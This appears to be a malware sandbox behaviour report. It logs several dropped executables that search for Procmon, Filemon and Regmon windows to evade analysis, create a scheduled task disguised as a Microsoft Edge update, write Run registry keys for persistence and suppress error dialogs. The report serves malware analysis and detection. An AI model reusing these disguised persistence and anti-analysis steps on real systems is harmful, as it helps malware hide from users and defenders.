Source: C:\Users\user\AppData\Local\Temp\1011268001\c8297318cd.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1011268001\c8297318cd.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1011268001\c8297318cd.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1011268001\c8297318cd.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1011268001\c8297318cd.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1011268001\c8297318cd.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1011268001\c8297318cd.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1011268001\c8297318cd.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\AppData\Local\Temp\1010433001\gU8ND0g.exe

Process created: C:\Windows\System32\schtasks.exe schtasks /f /CREATE /TN "MicrosoftEdgeUpdateTaskMachineCoreSC" /TR "C:\Users\user\AppData\Roaming\MicrosoftEdgeUpdateTaskMachineCoreSC.exe" /SC MINUTE

Source: C:\Users\user\Documents\KKEBKJJDGH.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 5467ed4ac5.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 5467ed4ac5.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run e6f3e13d62.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run e6f3e13d62.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 877defb7e2.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 877defb7e2.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run af6718da11.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run af6718da11.exe

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\KKEBKJJDGH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1011233001\tpZOod0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1011233001\tpZOod0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1011233001\tpZOod0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1011233001\tpZOod0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1011233001\tpZOod0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1011233001\tpZOod0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1011233001\tpZOod0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1011233001\tpZOod0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1011233001\tpZOod0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1011233001\tpZOod0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1011233001\tpZOod0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1011233001\tpZOod0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1011233001\tpZOod0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1011233001\tpZOod0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1011233001\tpZOod0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1011233001\tpZOod0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1011233001\tpZOod0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1011233001\tpZOod0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1011233001\tpZOod0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1011233001\tpZOod0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
